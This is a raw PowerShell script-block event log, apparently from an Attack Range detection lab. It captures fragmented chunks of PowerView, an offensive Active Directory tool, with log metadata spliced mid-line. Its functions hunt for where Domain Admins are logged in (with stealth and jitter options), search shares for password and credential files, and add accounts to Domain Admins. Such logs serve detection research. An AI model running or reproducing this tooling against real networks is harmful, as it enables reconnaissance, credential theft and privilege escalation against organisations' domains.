$UserAdminCount, [Alias('AllowDelegation')] [Switch] $UserAllowDelegation, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] $Stealth, [String] [ValidateSet('DFS', 'DC', 'File', 'All')] $StealthSource = 'All', [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } $TargetComputers = @() # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = @($ComputerName) } else { if ($PSBoundParameters['Stealth']) { Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" $TargetComputerArrayList = New-Object System.Collections.ArrayList if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } $FileServers = Get-DomainFileServer @FileServerSearcherArguments if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } $TargetComputerArrayList.AddRange( $FileServers ) } if ($StealthSource -match 'DFS|All') { Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' # # TODO: fix the passed parameters to Get-DomainDFSShare # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} } if ($StealthSource -match 'DC|All') { Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } $TargetComputerArrayList.AddRange( $DomainControllers ) } $TargetComputers = $TargetComputerArrayList.ToArray() } else { Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserLocation] No hosts found to enumerate' } # get the current user so we can ignore it in the results if ($PSBoundParameters['Credential']) { $CurrentUser = $Credential.GetNetworkCredential().UserName } else { $CurrentUser = ([Environment]::UserName).ToLower() } # now build the user target set if ($PSBoundParameters['ShowAll']) { $TargetUsers = @() } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { throw '[Find-DomainUserLocation] No users found to target' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $Sessions = Get-NetSession -ComputerName $TargetComputer ForEach ($Session in $Sessions) { $UserName = $Session.UserName $CName = $Session.CName if ($CName -and $CName.StartsWith('\\')) { $CName = $CName.TrimStart('\') } # make sure we have a result, and ignore computer$ sessions if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $Null $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName # try to resolve the DNS hostname of $Cname try { $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } catch { $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { $UserName = $User.UserName $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Test-AdminAccess -ComputerName $TargetComputer $UserLocation | Add-Membeed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188645Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3443er than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path "C:\Backup\" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose "Excluding: $($_.FullName)" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a "powershell pipeline runner" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose "[New-ThreadedFunction] Threads executing" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } Start-Sleep -Seconds 1 } While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) $SleepSeconds = 100 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." # cleanup- make sure we didn't miss anything for ($i=0; $i -lt $SleepSeconds; $i++) { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() $Job.PS.Dispose() } Start-Sleep -S 1 } $Pool.Dispose() Write-Verbose "[New-ThreadedFunction] all threads completed" } } function Find-DomainUserLocation { <# .SYNOPSIS Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon The found user list is compared against the target list, and any matches are displayed. If -ShowAll is specified, all results are displayed instead of the filtered set. If -Stealth is specified, then likely highly-trafficed servers are enumerated with Get-DomainFileServer/Get-DomainController, and session enumeration is executed only against those servers. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER UserAllowDelegation Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. .PARAMETER CheckAccess Switch. Check if the current user has local admin access to computers where target users are found. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER ShowAll Switch. Return all user location results instead of filtering based on target specifications. .PARAMETER Stealth Switch. Only enumerate sessions from connonly used target servers. ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188635Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2443eSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') $Output } } else { Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Add-DomainGroupMember { <# .SYNOPSIS Adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and added to the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to add members to. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Adds harmj0y to 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) 